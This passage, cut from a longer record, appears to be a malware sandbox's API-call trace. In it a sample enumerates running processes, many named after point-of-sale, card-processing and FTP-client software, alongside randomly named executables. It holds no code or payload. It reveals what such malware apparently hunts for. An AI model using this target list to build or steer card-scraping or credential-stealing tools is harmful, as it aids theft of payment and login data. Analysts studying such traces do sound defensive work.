szExeFile="aldelo.exe")) returned 1 [0288.083] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0288.085] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0288.088] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0288.090] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0288.092] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0288.095] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0288.106] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0288.109] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0288.111] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0288.115] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0288.117] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0288.119] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0288.121] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0288.124] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0288.126] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0288.223] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0288.226] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0288.228] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0288.230] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0288.232] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0288.234] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0288.236] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0288.239] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0288.241] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0288.243] CloseHandle (hObject=0x344) returned 1 [0288.243] Sleep (dwMilliseconds=0x64) [0288.286] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0288.351] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0288.353] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0288.355] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0288.358] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0288.360] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0288.362] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0288.364] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0288.366] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0288.368] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0288.370] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.372] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.374] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0288.376] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.379] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.381] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.383] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.385] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.387] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.389] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.391] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0288.428] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0288.430] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0288.433] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.435] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0288.437] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0288.439] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0288.441] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0288.443] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0288.445] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0288.449] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0288.451] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0288.453] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0288.455] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0288.458] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0288.460] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0288.462] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0288.464] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0288.466] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0288.505] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0288.508] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0288.510] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0288.512] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0288.514] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0288.516] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0288.518] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0288.520] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0288.522] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0288.524] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0288.526] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0288.528] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0288.530] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0288.533] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0288.535] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0288.537] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0288.539] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0288.541] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0288.585] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0288.587] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0288.590] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0288.592] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0288.595] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, 